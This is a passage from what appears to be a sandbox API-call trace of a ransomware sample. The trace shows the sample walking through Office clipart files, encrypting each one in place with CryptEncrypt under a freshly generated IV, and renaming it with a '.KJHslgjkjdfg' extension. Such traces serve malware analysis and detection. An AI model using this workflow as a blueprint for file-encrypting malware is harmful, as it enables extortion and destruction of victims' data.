lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1104, lpOverlapped=0x0) returned 1 [0201.632] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1110, dwBufLen=0x1110 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1110) returned 1 [0201.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.632] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1110, lpOverlapped=0x0) returned 1 [0201.632] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.632] SetEndOfFile (hFile=0x130) returned 1 [0201.634] GetProcessHeap () returned 0x2ef0000 [0201.634] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.635] GetProcessHeap () returned 0x2ef0000 [0201.635] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151041.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151041.wmf.kjhslgjkjdfg")) returned 1 [0201.636] CloseHandle (hObject=0x130) returned 1 [0201.636] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151045.WMF", cAlternateFileName="")) returned 1 [0201.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.636] GetProcessHeap () returned 0x2ef0000 [0201.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.636] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.637] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.638] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.639] GetProcessHeap () returned 0x2ef0000 [0201.639] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.639] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.639] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.639] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.639] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.639] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.639] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.639] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3c68, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3c68, lpOverlapped=0x0) returned 1 [0201.640] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c70, dwBufLen=0x3c70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3c70) returned 1 [0201.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.640] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3c70, lpOverlapped=0x0) returned 1 [0201.641] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.641] SetEndOfFile (hFile=0x130) returned 1 [0201.643] GetProcessHeap () returned 0x2ef0000 [0201.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.643] GetProcessHeap () returned 0x2ef0000 [0201.643] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.kjhslgjkjdfg")) returned 1 [0201.644] CloseHandle (hObject=0x130) returned 1 [0201.644] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4844, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151047.WMF", cAlternateFileName="")) returned 1 [0201.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.645] GetProcessHeap () returned 0x2ef0000 [0201.645] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.645] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.646] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0201.648] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.648] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.648] GetProcessHeap () returned 0x2ef0000 [0201.648] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.648] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.648] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.648] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.648] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.648] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.649] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.649] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.649] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4844, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4844, lpOverlapped=0x0) returned 1 [0201.650] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4850, dwBufLen=0x4850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4850) returned 1 [0201.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.650] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4850, lpOverlapped=0x0) returned 1 [0201.650] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.650] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.650] SetEndOfFile (hFile=0x130) returned 1 [0201.653] GetProcessHeap () returned 0x2ef0000 [0201.653] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.653] GetProcessHeap () returned 0x2ef0000 [0201.653] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.kjhslgjkjdfg")) returned 1 [0201.654] CloseHandle (hObject=0x130) returned 1 [0201.654] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151055.WMF", cAlternateFileName="")) returned 1 [0201.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.656] GetProcessHeap () returned 0x2ef0000 [0201.656] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.657] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.657] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.659] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.659] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.659] GetProcessHeap () returned 0x2ef0000 [0201.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.659] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.659] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.659] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.659] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.659] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.659] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.659] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.659] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3928, lpOverlapped=0x0) returned 1 [0201.660] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3930, dwBufLen=0x3930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3930) returned 1 [0201.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.660] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3930, lpOverlapped=0x0) returned 1 [0201.661] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.661] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.661] SetEndOfFile (hFile=0x130) returned 1 [0201.663] GetProcessHeap () returned 0x2ef0000 [0201.663] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.663] GetProcessHeap () returned 0x2ef0000 [0201.663] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.kjhslgjkjdfg")) returned 1 [0201.664] CloseHandle (hObject=0x130) returned 1 [0201.664] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0201.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.665] GetProcessHeap () returned 0x2ef0000 [0201.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.665] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.665] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.665] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.665] GetProcessHeap () returned 0x2ef0000 [0201.665] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.665] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.665] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.665] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.667] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.668] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.668] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.668] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.668] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a60, lpOverlapped=0x0) returned 1 [0201.668] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a60) returned 1 [0201.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.669] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a60, lpOverlapped=0x0) returned 1 [0201.669] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.669] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.669] SetEndOfFile (hFile=0x130) returned 1 [0201.671] GetProcessHeap () returned 0x2ef0000 [0201.671] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.671] GetProcessHeap () returned 0x2ef0000 [0201.671] HeapFree (in: hHeap=0x2ef0000, 